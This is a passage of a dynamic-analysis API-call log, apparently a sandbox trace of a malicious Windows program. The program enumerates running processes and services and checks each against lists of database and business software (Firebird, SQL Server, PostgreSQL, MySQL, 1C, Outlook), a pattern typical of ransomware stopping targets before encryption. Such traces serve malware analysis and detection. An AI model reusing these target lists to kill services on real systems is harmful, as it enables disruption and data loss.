cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.102] lstrlenW (lpString="conhost.exe") returned 11 [0053.102] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0053.103] lstrlenW (lpString="vssadmin.exe") returned 12 [0053.103] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0053.103] lstrlenW (lpString="VSSVC.exe") returned 9 [0053.103] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.104] lstrlenW (lpString="svchost.exe") returned 11 [0053.104] Process32NextW (in: hSnapshot=0x214, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0053.104] CloseHandle (hObject=0x214) returned 1 [0053.104] Sleep (dwMilliseconds=0x1f4) [0054.224] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x566e30 [0054.225] EnumServicesStatusExW (in: hSCManager=0x566e30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0054.225] GetLastError () returned 0xea [0054.225] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x55e478 [0054.225] EnumServicesStatusExW (in: hSCManager=0x566e30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e478, cbBufSize=0x12c6, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e478, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0054.226] CloseServiceHandle (hSCObject=0x566e30) returned 1 [0054.226] lstrlenW (lpString="Appinfo") returned 7 [0054.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0054.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0054.226] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0054.226] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0054.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0054.226] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0054.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.226] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0054.226] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0054.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0054.226] lstrlenW (lpString="AudioSrv") returned 8 [0054.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0054.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0054.226] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0054.226] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0054.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0054.226] lstrlenW (lpString="BFE") returned 3 [0054.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0054.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0054.226] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0054.226] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0054.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0054.227] lstrlenW (lpString="CryptSvc") returned 8 [0054.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0054.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0054.227] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0054.227] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0054.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0054.227] lstrlenW (lpString="CscService") returned 10 [0054.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0054.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0054.227] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0054.227] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0054.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0054.227] lstrlenW (lpString="DcomLaunch") returned 10 [0054.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0054.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0054.227] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0054.227] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0054.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0054.227] lstrlenW (lpString="Dhcp") returned 4 [0054.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0054.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0054.227] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0054.227] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0054.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0054.227] lstrlenW (lpString="Dnscache") returned 8 [0054.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0054.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0054.227] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0054.227] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0054.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0054.227] lstrlenW (lpString="DPS") returned 3 [0054.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0054.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0054.227] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0054.227] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0054.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0054.228] lstrlenW (lpString="eventlog") returned 8 [0054.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0054.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0054.228] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0054.228] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0054.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0054.228] lstrlenW (lpString="EventSystem") returned 11 [0054.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0054.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0054.228] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0054.228] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0054.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0054.228] lstrlenW (lpString="gpsvc") returned 5 [0054.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0054.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0054.228] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0054.228] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0054.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0054.228] lstrlenW (lpString="iphlpsvc") returned 8 [0054.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0054.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0054.228] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0054.228] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0054.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0054.228] lstrlenW (lpString="LanmanServer") returned 12 [0054.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0054.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0054.228] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0054.228] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0054.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0054.228] lstrlenW (lpString="LanmanWorkstation") returned 17 [0054.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0054.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0054.229] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0054.229] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0054.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0054.229] lstrlenW (lpString="lmhosts") returned 7 [0054.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0054.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0054.229] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0054.229] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0054.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0054.229] lstrlenW (lpString="MMCSS") returned 5 [0054.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0054.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0054.229] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0054.229] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0054.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0054.229] lstrlenW (lpString="MpsSvc") returned 6 [0054.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0054.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0054.229] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0054.229] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0054.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0054.229] lstrlenW (lpString="Netman") returned 6 [0054.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0054.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0054.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0054.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0054.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0054.229] lstrlenW (lpString="netprofm") returned 8 [0054.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0054.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0054.229] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0054.229] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0054.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0054.229] lstrlenW (lpString="NlaSvc") returned 6 [0054.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0054.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0054.229] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0054.230] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0054.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0054.230] lstrlenW (lpString="nsi") returned 3 [0054.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0054.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0054.230] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0054.230] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0054.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0054.230] lstrlenW (lpString="PcaSvc") returned 6 [0054.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0054.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0054.230] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0054.230] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0054.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0054.230] lstrlenW (lpString="PlugPlay") returned 8 [0054.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0054.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0054.230] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0054.230] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0054.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0054.230] lstrlenW (lpString="Power") returned 5 [0054.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0054.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0054.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0054.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0054.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0054.230] lstrlenW (lpString="ProfSvc") returned 7 [0054.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0054.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0054.230] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0054.230] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0054.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0054.230] lstrlenW (lpString="RpcEptMapper") returned 12 [0054.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0054.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0054.230] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0054.230] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0054.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0054.231] lstrlenW (lpString="RpcSs") returned 5 [0054.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0054.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0054.231] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0054.231] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0054.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0054.231] lstrlenW (lpString="SamSs") returned 5 [0054.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0054.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0054.231] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0054.231] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0054.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0054.231] lstrlenW (lpString="Schedule") returned 8 [0054.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0054.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0054.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0054.231] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0054.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0054.231] lstrlenW (lpString="SENS") returned 4 [0054.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0054.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0054.231] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0054.231] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0054.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0054.231] lstrlenW (lpString="ShellHWDetection") returned 16 [0054.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0054.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0054.231] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0054.231] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0054.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0054.231] lstrlenW (lpString="Spooler") returned 7 [0054.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0054.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0054.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0054.232] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0054.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0054.232] lstrlenW (lpString="swprv") returned 5 [0054.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0054.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0054.232] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0054.232] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0054.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0054.232] lstrlenW (lpString="SysMain") returned 7 [0054.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0054.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0054.232] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0054.232] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0054.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0054.232] lstrlenW (lpString="Themes") returned 6 [0054.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0054.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0054.232] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0054.232] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0054.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0054.232] lstrlenW (lpString="TrkWks") returned 6 [0054.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0054.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0054.232] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0054.232] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0054.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0054.232] lstrlenW (lpString="UxSms") returned 5 [0054.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0054.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0054.232] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0054.232] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0054.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0054.232] lstrlenW (lpString="VSS") returned 3 [0054.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0054.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0054.233] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0054.233] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0054.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0054.233] lstrlenW (lpString="WdiServiceHost") returned 14 [0054.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0054.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0054.233] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0054.233] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0054.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0054.233] lstrlenW (lpString="WdiSystemHost") returned 13 [0054.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0054.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0054.233] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0054.233] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0054.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0054.233] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0054.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0054.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0054.233] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0054.233] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0054.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0054.233] lstrlenW (lpString="Winmgmt") returned 7 [0054.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0054.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0054.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0054.233] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0054.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0054.233] lstrlenW (lpString="WPDBusEnum") returned 10 [0054.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0054.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0054.233] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0054.233] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0054.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0054.233] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e478 | out: hHeap=0x510000) returned 1 [0054.233] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d0 [0054.236] Process32FirstW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0054.236] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0054.237] lstrlenW (lpString="System") returned 6 [0054.237] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0054.237] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0054.237] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0054.237] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0054.237] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0054.237] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0054.237] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0054.237] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0054.238] lstrlenW (lpString="smss.exe") returned 8 [0054.238] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0054.238] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0054.238] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0054.238] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0054.238] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0054.238] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0054.238] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0054.238] Process32NextW (in: hSnapshot=0x1d0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.238] 